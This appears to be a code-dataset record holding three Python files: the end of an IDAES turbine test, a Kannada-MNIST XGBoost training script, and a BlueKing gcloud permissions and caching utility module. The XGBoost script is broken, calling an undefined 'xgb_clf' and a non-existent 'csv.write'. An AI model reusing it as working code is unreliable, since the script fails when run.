wrt=m.fs.time, scheme=\"BACKWARD\")\n # set inlet\n m.fs.turb.inlet.enth_mol.fix(47115)\n for t in m.fs.turb.inlet.flow_mol:\n m.fs.turb.inlet.flow_mol[t].value = 15000\n m.fs.turb.inlet.pressure.fix(8e4)\n m.fs.turb.outlet.pressure.fix(4e4)\n m.fs.turb.flow_coeff.fix()\n\n assert degrees_of_freedom(m) == 0\n m.fs.turb.initialize(calculate_cf=True)\n eq_cons = activated_equalities_generator(m)\n for c in eq_cons:\n assert abs(c.body() - c.lower) < 1e-4\n solver.solve(m)\n assert m.fs.turb.inlet.flow_mol[0].value == pytest.approx(15000)\n assert degrees_of_freedom(m) == 0\n\n\n@pytest.mark.skipif(not iapws95.iapws95_available(), reason=\"IAPWS not available\")\n@pytest.mark.unit\ndef test_get_stream_table_contents(build_turbine):\n stable = build_turbine.fs.turb._get_stream_table_contents()\n\n expected = {\n \"Units\": {\n \"Mass Flow\": getattr(pyunits.pint_registry, \"kg/s\"),\n \"Molar Flow\": getattr(pyunits.pint_registry, \"mol/s\"),\n \"Molar Enthalpy\": getattr(pyunits.pint_registry, \"J/mol\"),\n \"P\": getattr(pyunits.pint_registry, \"Pa\"),\n \"T\": getattr(pyunits.pint_registry, \"K\"),\n \"Vapor Fraction\": getattr(pyunits.pint_registry, \"dimensionless\"),\n },\n \"Inlet\": {\n \"Mass Flow\": pytest.approx(0.01801527, rel=1e-5),\n \"Molar Flow\": pytest.approx(1.0, rel=1e-5),\n \"Molar Enthalpy\": pytest.approx(0.01102139, rel=1e-5),\n \"P\": pytest.approx(11032300, rel=1e-5),\n \"T\": pytest.approx(270.4877, rel=1e-5),\n \"Vapor Fraction\": pytest.approx(0.0, abs=1e-5),\n },\n \"Outlet\": {\n \"Mass Flow\": pytest.approx(0.01801527, rel=1e-5),\n \"Molar Flow\": pytest.approx(1.0, rel=1e-5),\n \"Molar Enthalpy\": pytest.approx(0.01102139, rel=1e-5),\n \"P\": pytest.approx(11032300, rel=1e-5),\n \"T\": pytest.approx(270.4877, rel=1e-5),\n \"Vapor Fraction\": pytest.approx(0.0, abs=1e-5),\n },\n }\n\n assert stable.to_dict() == expected\n", "sub_path": "idaes/models_extra/power_generation/unit_models/helm/tests/test_turbine_outlet.py", "file_name": "test_turbine_outlet.py", "file_ext": "py", "file_size_in_byte": 6040, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "idaes.core.solvers.get_solver", "line_number": 33, "usage_type": "call"}, {"api_name": "pyomo.environ.ConcreteModel", "line_number": 38, "usage_type": "call"}, {"api_name": "idaes.core.FlowsheetBlock", "line_number": 39, "usage_type": "call"}, {"api_name": "idaes.models.properties.iapws95.Iapws95ParameterBlock", "line_number": 40, "usage_type": "call"}, {"api_name": "idaes.models.properties.iapws95", "line_number": 40, "usage_type": "name"}, {"api_name": "idaes.models_extra.power_generation.unit_models.helm.HelmTurbineOutletStage", "line_number": 41, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 36, "usage_type": "call"}, {"api_name": "pyomo.environ.ConcreteModel", "line_number": 48, "usage_type": "call"}, {"api_name": "idaes.core.FlowsheetBlock", "line_number": 49, "usage_type": "call"}, {"api_name": "pyomo.environ.units.s", "line_number": 49, "usage_type": "attribute"}, {"api_name": "pyomo.environ.units", "line_number": 49, "usage_type": "name"}, {"api_name": "idaes.models.properties.iapws95.Iapws95ParameterBlock", "line_number": 50, "usage_type": "call"}, {"api_name": "idaes.models.properties.iapws95", "line_number": 50, "usage_type": "name"}, {"api_name": "idaes.models_extra.power_generation.unit_models.helm.HelmTurbineOutletStage", "line_number": 51, "usage_type": "call"}, {"api_name": "pytest.mark.skipif", "line_number": 45, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 45, "usage_type": "attribute"}, {"api_name": "idaes.models.properties.general_helmholtz.helmholtz_available", "line_number": 45, "usage_type": "call"}, {"api_name": "pytest.fixture", "line_number": 46, "usage_type": "call"}, {"api_name": "pytest.mark.skipif", "line_number": 55, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 55, "usage_type": "attribute"}, {"api_name": "idaes.models.properties.general_helmholtz.helmholtz_available", "line_number": 55, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 56, "usage_type": "attribute"}, {"api_name": "idaes.core.util.model_statistics.activated_equalities_generator", "line_number": 75, "usage_type": "call"}, {"api_name": "idaes.core.util.model_statistics.degrees_of_freedom", "line_number": 78, "usage_type": "call"}, {"api_name": "pytest.mark.skipif", "line_number": 62, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 62, "usage_type": "attribute"}, {"api_name": "idaes.models.properties.general_helmholtz.helmholtz_available", "line_number": 62, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 63, "usage_type": "attribute"}, {"api_name": "idaes.core.util.model_statistics.activated_equalities_generator", "line_number": 94, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 102, "usage_type": "call"}, {"api_name": "idaes.core.util.model_statistics.degrees_of_freedom", "line_number": 103, "usage_type": "call"}, {"api_name": "pytest.mark.skipif", "line_number": 81, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 81, "usage_type": "attribute"}, {"api_name": "idaes.models.properties.general_helmholtz.helmholtz_available", "line_number": 81, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 82, "usage_type": "attribute"}, {"api_name": "pyomo.environ.TransformationFactory", "line_number": 111, "usage_type": "call"}, {"api_name": "idaes.core.util.model_statistics.degrees_of_freedom", "line_number": 121, "usage_type": "call"}, {"api_name": "idaes.core.util.model_statistics.activated_equalities_generator", "line_number": 123, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 127, "usage_type": "call"}, {"api_name": "idaes.core.util.model_statistics.degrees_of_freedom", "line_number": 128, "usage_type": "call"}, {"api_name": "pytest.mark.skipif", "line_number": 106, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 106, "usage_type": "attribute"}, {"api_name": "idaes.models.properties.general_helmholtz.helmholtz_available", "line_number": 106, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 107, "usage_type": "attribute"}, {"api_name": "pyomo.environ.units.pint_registry", "line_number": 138, "usage_type": "attribute"}, {"api_name": "pyomo.environ.units", "line_number": 138, "usage_type": "name"}, {"api_name": "pyomo.environ.units.pint_registry", "line_number": 139, "usage_type": "attribute"}, {"api_name": "pyomo.environ.units", "line_number": 139, "usage_type": "name"}, {"api_name": "pyomo.environ.units.pint_registry", "line_number": 140, "usage_type": "attribute"}, {"api_name": "pyomo.environ.units", "line_number": 140, "usage_type": "name"}, {"api_name": "pyomo.environ.units.pint_registry", "line_number": 141, "usage_type": "attribute"}, {"api_name": "pyomo.environ.units", "line_number": 141, "usage_type": "name"}, {"api_name": "pyomo.environ.units.pint_registry", "line_number": 142, "usage_type": "attribute"}, {"api_name": "pyomo.environ.units", "line_number": 142, "usage_type": "name"}, {"api_name": "pyomo.environ.units.pint_registry", "line_number": 143, "usage_type": "attribute"}, {"api_name": "pyomo.environ.units", "line_number": 143, "usage_type": "name"}, {"api_name": "pytest.approx", "line_number": 146, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 147, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 148, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 149, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 150, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 151, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 154, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 155, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 156, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 157, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 158, "usage_type": "call"}, {"api_name": "pytest.approx", "line_number": 159, "usage_type": "call"}, {"api_name": "pytest.mark.skipif", "line_number": 131, "usage_type": "call"}, {"api_name": "pytest.mark", "line_number": 131, "usage_type": "attribute"}, {"api_name": "idaes.models.properties.iapws95.iapws95_available", "line_number": 131, "usage_type": "call"}, {"api_name": "idaes.models.properties.iapws95", "line_number": 131, "usage_type": "name"}, {"api_name": "pytest.mark", "line_number": 132, "usage_type": "attribute"}]} +{"seq_id": "542863854", "text": "# file processing\nimport os, sys\n\n# data processing\nimport numpy as np\nimport pandas as pd\n\n# xgboost runtime\nimport xgboost as xgb\n\n# preprocess\nfrom sklearn.model_selection import train_test_split\n\n# ignore warning\nimport warnings\nwarnings.filterwarnings('ignore')\n\nif __name__ == \"__main__\":\n train = pd.read_csv(\"../../data/raw/Kannada-MNIST/train.csv\")\n test = pd.read_csv(\"../../data/raw/Kannada-MNIST/test.csv\")\n\n # Split train and test data\n column = ['pixel{}'.format(i) for i in range(784)]\n x_train, x_valid, y_train, y_valid = train_test_split(train[column], train['label'], test_size=0.1)\n\n # Setting dataset to xgboost runtime type.\n dtrain = xgb.DMatrix(x_train, label=y_train)\n dvalid = xgb.DMatrix(x_valid, label=y_valid)\n\n # Setting parameters.\n # Decide Task method, Metrics, etc.\n xgb_params = {\n \"objective\" : \"multi:softmax\",\n \"eval_metric\" : \"mlogloss\",\n \"num_class\" : 10,\n \"max_depth\" : 12,\n \"eta\" : 0.05,\n \"subsample\" : 0.9,\n \"colsample_bytree\" : 0.9,\n }\n \n # train\n watchlist = [(dvalid, 'eval'), (dtrain, 'train')]\n clf = xgb.train(\n params=xgb_params,\n dtrain=dtrain,\n num_boost_round=4000,\n evals=watchlist,\n early_stopping_rounds=20,\n verbose_eval=20\n )\n res = xgb_clf.predict( xgb.DMatrix(test[column]) ).astype(int)\n\n with open(\"../../data/processed/xgboost_simple.csv\", \"w\") as f:\n csv.write(res)\n", "sub_path": "src/processing/xgboost.py", "file_name": "xgboost.py", "file_ext": "py", "file_size_in_byte": 1485, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "warnings.filterwarnings", "line_number": 16, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 19, "usage_type": "call"}, {"api_name": "pandas.read_csv", "line_number": 20, "usage_type": "call"}, {"api_name": "sklearn.model_selection.train_test_split", "line_number": 24, "usage_type": "call"}, {"api_name": "xgboost.DMatrix", "line_number": 27, "usage_type": "call"}, {"api_name": "xgboost.DMatrix", "line_number": 28, "usage_type": "call"}, {"api_name": "xgboost.train", "line_number": 44, "usage_type": "call"}, {"api_name": "xgboost.DMatrix", "line_number": 52, "usage_type": "call"}]} +{"seq_id": "369606132", "text": "# -*- coding: utf-8 -*-\n\"\"\"\nTencent is pleased to support the open source community by making 蓝鲸智云PaaS平台社区版 (BlueKing PaaS Community\nEdition) available.\nCopyright (C) 2017-2019 THL A29 Limited, a Tencent company. All rights reserved.\nLicensed under the MIT License (the \"License\"); you may not use this file except in compliance with the License.\nYou may obtain a copy of the License at\nhttp://opensource.org/licenses/MIT\nUnless required by applicable law or agreed to in writing, software distributed under the License is distributed on\nan \"AS IS\" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. See the License for the\nspecific language governing permissions and limitations under the License.\n\"\"\"\n\nimport calendar\nimport datetime\nimport json\nimport re\nimport logging\nimport time\nimport pytz\n\nfrom django.core.cache import cache\nfrom django.contrib.auth.models import Group\nfrom django.contrib.auth import get_user_model\nfrom django.db import transaction\nfrom django.utils import timezone\nfrom django.utils import six\nfrom guardian.shortcuts import assign_perm\n\nfrom gcloud.conf import settings\nfrom gcloud import exceptions\nfrom gcloud.core import roles\nfrom gcloud.core.constant import AE\nfrom gcloud.core.models import Business, BusinessGroupMembership\nfrom gcloud.core.api_adapter import (\n is_user_functor,\n get_operate_user_list,\n is_user_auditor,\n get_auditor_user_list,\n get_user_info,\n adapt_get_user_data\n)\n\nlogger = logging.getLogger(\"root\")\nget_client_by_user = settings.ESB_GET_CLIENT_BY_USER\nCACHE_PREFIX = __name__.replace('.', '_')\nDEFAULT_CACHE_TIME_FOR_CC = settings.DEFAULT_CACHE_TIME_FOR_CC\n\n\n# LifeCycle：'1'：测试中， '2'：已上线， '3'： 停运， 其他如'0'、''是非法值\ndef _get_user_business_list(request, use_cache=True):\n \"\"\"Get authorized business list for a exact username.\n\n :param object request: django request object.\n :param bool use_cache: (Optional)\n \"\"\"\n user = request.user\n cache_key = \"%s_get_user_business_list_%s\" % (CACHE_PREFIX, user.username)\n data = cache.get(cache_key)\n\n if not (use_cache and data):\n user_info = _get_user_info(request)\n client = get_client_by_user(request.user.username)\n result = client.cc.search_business({\n 'bk_supplier_account': user_info['bk_supplier_account'],\n 'condition': {\n 'bk_data_status': {'$in': ['enable', 'disabled', None]},\n '$or': [{'bk_biz_developer': {\"$regex\": user.username}},\n {'bk_biz_productor': {\"$regex\": user.username}},\n {'bk_biz_maintainer': {\"$regex\": user.username}},\n {'bk_biz_tester': {\"$regex\": user.username}}]\n }\n })\n\n if result['result']:\n data = result['data']['info']\n cache.set(cache_key, data, DEFAULT_CACHE_TIME_FOR_CC)\n elif result.get('code') in ('20101', 20101):\n raise exceptions.Unauthorized(result['message'])\n elif result.get('code') in ('20103', 20103, '20201', 20201,\n '20202', 20202):\n raise exceptions.Forbidden(result['message'])\n else:\n raise exceptions.APIError(\n 'cc',\n 'search_business',\n result.get('detail_message', result['message'])\n )\n\n return data\n\n\ndef _get_user_info(request, use_cache=True):\n \"\"\"\n 获取用户基本信息\n @param request:\n @param use_cache:\n @return:\n \"\"\"\n user = request.user\n cache_key = \"%s_get_user_info_%s\" % (CACHE_PREFIX, user.username)\n data = cache.get(cache_key)\n if not (use_cache and data):\n userinfo = get_user_info(request)\n userinfo.setdefault('code', -1)\n if userinfo['result']:\n data = userinfo['data']\n if data:\n cache.set(cache_key, data, DEFAULT_CACHE_TIME_FOR_CC)\n elif userinfo.get('code') in ('20101', 20101):\n raise exceptions.Unauthorized(userinfo['message'])\n elif userinfo.get('code') in ('20103', 20103, '20201', 20201,\n '20202', 20202):\n raise exceptions.Forbidden(userinfo['message'])\n else:\n raise exceptions.APIError(\n 'bk_api',\n 'get_user_info',\n userinfo.get('detail_message', userinfo['message'])\n )\n return data\n\n\ndef _get_business_info(request, app_id, use_cache=True, use_maintainer=False):\n \"\"\"Get detail infomations for a exact app_id.\n\n @param object request: django request object.\n @param int app_id: cc_id of core.business model.\n @param use_maintainer: 使用运维身份请求\n \"\"\"\n username = request.user.username\n business = Business.objects.get(cc_id=app_id)\n cache_key = \"%s_get_business_info_%s_%s\" % (CACHE_PREFIX, app_id, username)\n data = cache.get(cache_key)\n\n if not (use_cache and data):\n if use_maintainer:\n client = get_client_by_user_and_biz_id(username, app_id)\n else:\n client = get_client_by_user(request.user.username)\n result = client.cc.search_business({\n 'bk_supplier_account': business.cc_owner,\n 'condition': {\n 'bk_biz_id': int(app_id)\n }\n })\n\n if result['result']:\n if not result['data']['info']:\n raise exceptions.Forbidden()\n data = result['data']['info'][0]\n elif result.get('code') in ('20101', 20101):\n raise exceptions.Unauthorized(result['message'])\n elif result.get('code') in ('20103', 20103, '20201', 20201,\n '20202', 20202):\n raise exceptions.Forbidden(result['message'])\n else:\n raise exceptions.APIError(\n 'cc',\n 'get_app_by_id',\n result.get('detail_message', result['message'])\n )\n\n cache.set(cache_key, data, DEFAULT_CACHE_TIME_FOR_CC)\n\n return data\n\n\ndef add_maintainer_to_biz(user, business_list):\n user_group_name = [g.name for g in user.groups.all()]\n\n for business in business_list:\n group_name = convert_group_name(business.cc_id, roles.MAINTAINERS)\n if group_name in user_group_name:\n continue\n\n group, _ = Group.objects.get_or_create(name=group_name)\n\n # assign view business perm for all roles\n assign_perm('view_business', group, business)\n assign_perm('manage_business', group, business)\n\n BusinessGroupMembership.objects.get_or_create(\n business=business,\n group=group\n )\n user.groups.add(group)\n\n\ndef update_relationships(request, obj, extras, created=False, use_cache=True):\n \"\"\"\n Update business-group(role) relationships & group-user memberships\n \"\"\"\n cache_key = \"%s_update_relationships_%s\" % (CACHE_PREFIX, obj.cc_id)\n data = cache.get(cache_key)\n\n if not (use_cache and data):\n groups = {}\n # first, create related groups if not exist\n for role in roles.ALL_ROLES:\n group_name = convert_group_name(obj.cc_id, role)\n group, group_created = Group.objects.get_or_create(name=group_name) # TODO\n groups[group_name] = (group, group_created)\n\n if group_created:\n # assign view business perm for all roles\n assign_perm('view_business', group, obj)\n\n # assign manage business perm only for admin roles\n if role in roles.ADMIN_ROLES:\n assign_perm('manage_business', group, obj)\n\n with transaction.atomic():\n try:\n Business.objects.select_for_update().get(pk=obj.pk)\n except Business.DoesNotExist:\n return None\n\n data = cache.get(cache_key)\n\n if not (use_cache and data):\n # If not created, clear business to group memberships\n if not created:\n obj.groups.clear()\n\n for group_name in groups:\n group, created = groups[group_name]\n # If not created, clear group to user memberships\n if not created:\n group.user_set.clear()\n\n BusinessGroupMembership.objects.get_or_create(\n business=obj,\n group=group\n )\n\n role = group_name.split('\\x00')[1]\n resp_data_role = '{}'.format(roles.CC_V2_ROLE_MAP.get(role, role))\n role_users = extras.get(resp_data_role) or ''\n user_model = get_user_model()\n user_list = role_users.split(',')\n\n # 职能化人员单独授权\n if role == roles.FUNCTOR:\n user_list = get_operate_user_list(request)\n\n # 审计人员单独授权\n if role == roles.AUDITOR:\n user_list = get_auditor_user_list(request)\n\n for username in user_list:\n if username:\n user, _ = user_model.objects.get_or_create(\n username=username)\n user.groups.add(group)\n\n cache.set(cache_key, True, DEFAULT_CACHE_TIME_FOR_CC)\n\n\ndef prepare_view_all_business(request):\n \"\"\"\n @summary：职能化和审计人员授权所有业务的查看权限\n \"\"\"\n bizs = Business.objects.all()\n User = get_user_model()\n user = User.objects.get(username=request.user.username)\n\n for obj in bizs:\n group_name = convert_group_name(obj.cc_id, roles.AUDITOR)\n group, created = Group.objects.get_or_create(name=group_name)\n\n if created:\n # assign view business perm for all roles\n assign_perm('view_business', group, obj)\n\n BusinessGroupMembership.objects.get_or_create(\n business=obj,\n group=group\n )\n\n user.groups.add(group)\n\n\ndef get_business_obj(request, cc_id, use_cache=True, use_maintainer=False):\n cache_key = \"%s_get_business_obj_%s\" % (CACHE_PREFIX, cc_id)\n data = cache.get(cache_key)\n\n if not (use_cache and data):\n info = _get_business_info(request, cc_id, use_cache, use_maintainer)\n defaults = {\n 'cc_name': info['bk_biz_name'],\n 'cc_owner': info['bk_supplier_account'],\n 'cc_company': info.get('bk_supplier_id') or 0,\n 'time_zone': info['time_zone'],\n 'life_cycle': info.get('life_cycle', '')\n }\n obj, created = Business.objects.update_or_create(\n cc_id=info['bk_biz_id'],\n defaults=defaults\n )\n\n data = (obj, created, info)\n\n cache.set(cache_key, (obj, False, info), DEFAULT_CACHE_TIME_FOR_CC)\n\n return data\n\n\ndef _update_user_info(info):\n info = adapt_get_user_data(info)\n User = get_user_model()\n User.objects.update_or_create(\n username=info['uin'],\n defaults=info\n )\n\n\ndef update_user_info(request, cc_id, use_cache=True):\n cache_key = \"%s_update_user_info_%s\" % (CACHE_PREFIX, cc_id)\n data = cache.get(cache_key)\n\n if not (use_cache and data):\n result = get_user_info(request)\n if result['result']:\n _update_user_info(result['data'])\n elif result['code'] in ('20101', 20101):\n raise exceptions.Unauthorized(result['message'])\n elif result['code'] in ('20103', 20103):\n raise exceptions.Forbidden(result['message'])\n else:\n raise exceptions.APIError(\n settings.ESB_AUTH_COMPONENT_SYSTEM,\n 'get_user',\n result.get('detail_message', result['message'])\n )\n\n cache.set(cache_key, True, DEFAULT_CACHE_TIME_FOR_CC)\n\n\ndef prepare_business(request, cc_id, use_cache=True):\n # first, get the business object\n user = request.user\n if user.is_superuser or is_user_functor(request) or is_user_auditor(request):\n try:\n obj, created, extras = get_business_obj(request, cc_id, use_cache)\n except Exception:\n objs = Business.objects.filter(cc_id=cc_id)\n if not objs.exists():\n raise exceptions.Forbidden()\n obj = objs[0]\n extras = {}\n else:\n obj, created, extras = get_business_obj(request, cc_id, use_cache)\n\n # access archived business is not allowed\n if not obj.available():\n raise exceptions.Forbidden()\n\n # then, update business object relationships\n if extras:\n update_relationships(request, obj, extras)\n\n # update user info (uin and nick name)\n update_user_info(request, cc_id)\n\n return obj\n\n\ndef is_user_relate_business(user, biz):\n biz_roles = set()\n for role in roles.CC_V2_ROLE_MAP.values():\n members = str(biz[role]).split(',')\n biz_roles.update(members)\n\n return user.username in biz_roles\n\n\ndef prepare_user_business(request, use_cache=True):\n user = request.user\n cache_key = \"%s_prepare_user_business_%s\" % (CACHE_PREFIX, user.username)\n data = cache.get(cache_key)\n maintainer_key = roles.CC_V2_ROLE_MAP[roles.MAINTAINERS]\n\n if not (use_cache and data):\n data = []\n biz_list = _get_user_business_list(request, use_cache)\n maintainer_business = []\n\n for biz in biz_list:\n if biz['bk_biz_name'] == u\"资源池\":\n continue\n defaults = {\n 'cc_name': biz['bk_biz_name'],\n 'cc_owner': biz['bk_supplier_account'],\n 'cc_company': biz.get('bk_supplier_id') or 0,\n 'time_zone': biz.get('time_zone', ''),\n 'life_cycle': biz.get('life_cycle', ''),\n 'status': biz.get('bk_data_status', 'enable')\n }\n\n if defaults['status'] == 'disabled':\n # do not create model for archived business\n try:\n Business.objects.get(cc_id=biz['bk_biz_id'])\n except Business.DoesNotExist:\n continue\n\n # update business status\n obj, _ = Business.objects.update_or_create(\n cc_id=biz['bk_biz_id'],\n defaults=defaults\n )\n\n # only append business which relate to user and not been archived\n if obj not in data and is_user_relate_business(user, biz) and obj.available():\n data.append(obj)\n\n if user.username in set(str(biz[maintainer_key]).split(',')):\n maintainer_business.append(obj)\n\n # 为该用户有运维权限的业务添加运维角色，防止第一次进入时拉取不到业务列表\n add_maintainer_to_biz(user, maintainer_business)\n\n cache.set(cache_key, data, DEFAULT_CACHE_TIME_FOR_CC)\n\n return data\n\n\ndef get_biz_maintainer_info(biz_cc_id, username='', use_in_context=False):\n \"\"\"\n 获取当前业务下登录过的运维人员信息，包括 operator和auth_token\n @param biz_cc_id:\n @param username: 当前操作者\n @return: operator 业务运维\n @return: auth_token 业务运维的认证信息\n \"\"\"\n business = Business.objects.get(cc_id=biz_cc_id)\n role = roles.MAINTAINERS\n group_name = convert_group_name(biz_cc_id, role)\n try:\n group = Group.objects.get(name=group_name)\n except Group.DoesNotExist:\n logger.error('get_biz_maintainer_info raise error, group[%s] does not exist' % group_name)\n return '', ''\n maintainers = group.user_set.order_by('last_login')\n\n # 如果是用在流程的 context 中且业务打开了一直使用任务执行这开关\n if use_in_context and business.always_use_executor and business.executor:\n user = maintainers.filter(username=business.executor)\n if user.exists():\n return user[0].username, user[0].auth_token\n\n # 如果操作者就是运维，则首先尝试返回自己的信息\n if username:\n user = maintainers.filter(username=username)\n if user.exists():\n return username, user[0].auth_token\n\n # 如果业务执行者未从业务运维列表中删除，则使用业务执行者\n if business.executor:\n user = maintainers.filter(username=business.executor)\n if user.exists():\n return user[0].username, user[0].auth_token\n\n # 随机取包含 ESB 鉴权信息的运维\n authorized_maintainer = ''\n auth_token = ''\n if maintainers:\n authorized_maintainer = maintainers[0].username\n auth_token = maintainers[0].auth_token\n\n return authorized_maintainer, auth_token\n\n\ndef get_client_by_user_and_biz_id(username, biz_cc_id):\n \"\"\"\n @summary: 根据用户和业务获取运维身份的client\n :param username:\n :param biz_cc_id:\n :return:\n \"\"\"\n # 首先以存在auth_token的运维身份调用接口\n maintainer, __ = get_biz_maintainer_info(biz_cc_id, username)\n if maintainer:\n return get_client_by_user(maintainer)\n\n # 无任何业务的运维auth_token信息，只能以自己身份执行\n return get_client_by_user(username)\n\n\ndef time_now_str():\n return timezone.localtime(timezone.now()).strftime('%Y%m%d%H%M%S')\n\n\ndef strftime_with_timezone(utc_time):\n if utc_time:\n return timezone.localtime(utc_time).strftime('%Y-%m-%d %H:%M:%S %z')\n else:\n return ''\n\n\ndef convert_readable_username(username):\n \"\"\"将用户名转换成昵称\"\"\"\n return username\n\n\ndef name_handler(name, max_length):\n \"\"\"名称处理\"\"\"\n # 替换特殊字符\n name_str = re.compile(r'[<>.,;~!@#^&*￥\\'\\\"]+').sub('', name)\n # 长度截取\n return name_str[:max_length]\n\n\ndef timestamp_to_datetime(timestamp):\n \"\"\"\n 时间戳转为datetime类型\n :param timestamp:\n :return:\n \"\"\"\n try:\n # 前端是传过来的是毫秒需要进行转换为秒\n timestamp = timestamp / 1000\n # 时间戳转为 datetime\n return timezone.datetime.fromtimestamp(timestamp, tz=pytz.utc)\n except ValueError:\n logger.error(\"illegal parameter format :%s\" % time)\n return None\n\n\ndef format_datetime(dt):\n \"\"\"\n 时间转换为字符串格式（附带时区）\n :param dt: type:datetime.datetime\n :return:\n \"\"\"\n # translate to time in local timezone\n if not dt:\n return ''\n if timezone.is_aware(dt):\n dt = timezone.localtime(dt)\n return dt.strftime(\"%Y-%m-%d %H:%M:%S %z\")\n\n\ndef check_and_rename_params(conditions, group_by, group_by_check=AE.group_list):\n \"\"\"\n 检验参数是否正确\n :param conditions:参数是一个dict\n :param group_by:分组凭据\n :param group_by_check:分组检查内容\n :return:\n \"\"\"\n # conditions 是否是一个dict.\n # 本地测试时请注释该try\n result_dict = {'success': False, 'content': None, \"conditions\": conditions, \"group_by\": None}\n try:\n conditions = json.loads(conditions)\n except Exception:\n message = u\"param conditions[%s] cannot be converted to dict\" % conditions\n logger.error(message)\n result_dict['content'] = message\n return result_dict\n if 'biz_cc_id' in conditions:\n conditions.update(business__cc_id=conditions.pop('biz_cc_id'))\n if not isinstance(conditions, dict):\n message = u\"params conditions[%s] are invalid dict data\" % conditions\n logger.error(message)\n result_dict['content'] = message\n return result_dict\n # 检查传递分组是否有误\n if group_by not in group_by_check:\n message = u\"params group_by[%s] is invalid\" % group_by\n logger.error(message)\n result_dict['content'] = message\n return result_dict\n # 如果是 biz_cc_id 需要转换\n # 为了防止显示出现外键调用\n if group_by == 'biz_cc_id':\n group_by = 'business__cc_id'\n result_dict['success'] = True\n result_dict['group_by'] = group_by\n result_dict['conditions'] = conditions\n return result_dict\n\n\ndef convert_group_name(biz_cc_id, role):\n return '%s\\x00%s' % (biz_cc_id, role)\n\n\ndef camel_case_to_underscore_naming(source):\n \"\"\"\n 将驼峰形式字符串转为下划线形式\n :param source:\n :return:\n \"\"\"\n if not isinstance(source, six.string_types):\n return source\n result = ''\n for i, s in enumerate(source):\n if i == 0:\n result += s.lower()\n else:\n if s.isupper():\n if source[i - 1].islower():\n result += '_' + s.lower()\n else:\n result += s.lower()\n else:\n result += s\n return result\n\n\ndef gen_day_dates(start_time, days):\n \"\"\"\n 获取两个日期之间的所有日期\n :param start_time: 开始时间:\n :param days: 相差日期:\n :return:\n \"\"\"\n day = datetime.timedelta(days=1)\n for index in range(days):\n yield start_time + day * index\n\n\ndef get_month_dates(start_time, end_time):\n \"\"\"\n 获取两个日期之间的所有月份\n :param start_time: 开始时间:\n :param end_time: 结束时间\n :return:\n \"\"\"\n out_dates = []\n # 需要额外是最后一天的情况，需要增加一天\n _, last_day = calendar.monthrange(start_time.year, start_time.month)\n if last_day == start_time.day:\n start_time += datetime.timedelta(days=1)\n while start_time <= end_time:\n date_str = start_time.strftime('%Y-%m')\n if date_str not in out_dates:\n out_dates.append(date_str)\n start_time = add_months(start_time, 1)\n return out_dates\n\n\ndef add_months(dt, months):\n \"\"\"\n 添加N个月份\n :param dt: 开始时间:\n :param months: 增加的月份\n :return:\n \"\"\"\n month = dt.month - 1 + months\n year = dt.year + month / 12\n month = month % 12 + 1\n return dt.replace(year=year, month=month)\n", "sub_path": "gcloud/core/utils/sites/open/utils.py", "file_name": "utils.py", "file_ext": "py", "file_size_in_byte": 22154, "program_lang": "python", "lang": "en", "doc_type": "code", "dataset": "code-starcoder2", "pt": "32", "api": [{"api_name": "logging.getLogger", "line_number": 44, "usage_type": "call"}, {"api_name": "gcloud.conf.settings.ESB_GET_CLIENT_BY_USER", "line_number": 45, "usage_type": "attribute"}, {"api_name": "gcloud.conf.settings", "line_number": 45, "usage_type": "name"}, {"api_name": "gcloud.conf.settings.DEFAULT_CACHE_TIME_FOR_CC", "line_number": 47, "usage_type": "attribute"}, {"api_name": "gcloud.conf.settings", "line_number": 47, "usage_type": "name"}, {"api_name": "django.core.cache.cache.get", "line_number": 59, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 59, "usage_type": "name"}, {"api_name": "django.core.cache.cache.set", "line_number": 77, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 77, "usage_type": "name"}, {"api_name": "gcloud.exceptions.Unauthorized", "line_number": 79, "usage_type": "call"}, {"api_name": "gcloud.exceptions", "line_number": 79, "usage_type": "name"}, {"api_name": "gcloud.exceptions.Forbidden", "line_number": 82, "usage_type": "call"}, {"api_name": "gcloud.exceptions", "line_number": 82, "usage_type": "name"}, {"api_name": "gcloud.exceptions.APIError", "line_number": 84, "usage_type": "call"}, {"api_name": "gcloud.exceptions", "line_number": 84, "usage_type": "name"}, {"api_name": "django.core.cache.cache.get", "line_number": 102, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 102, "usage_type": "name"}, {"api_name": "gcloud.core.api_adapter.get_user_info", "line_number": 104, "usage_type": "call"}, {"api_name": "django.core.cache.cache.set", "line_number": 109, "usage_type": "call"}, {"api_name": "django.core.cache.cache", "line_number": 109, "usage_type": "name"}, {"api_name": "gcloud.exceptions.Unauthorized", "line_number": 111, "usage_type": "call"}, {"api_name": "gcloud.exceptions", "line_number": 111, "usage_type": "name"}, {"api_name": "gcloud.exceptions.Forbidden", "line_number": 114, "usage_type": "call"}, {"api_name": "gcloud.exceptions", "line_number": 114, "usage_type": "name"}, {"api_name": "gcloud.exceptions.APIError", "line_number": 116, "usage_type": 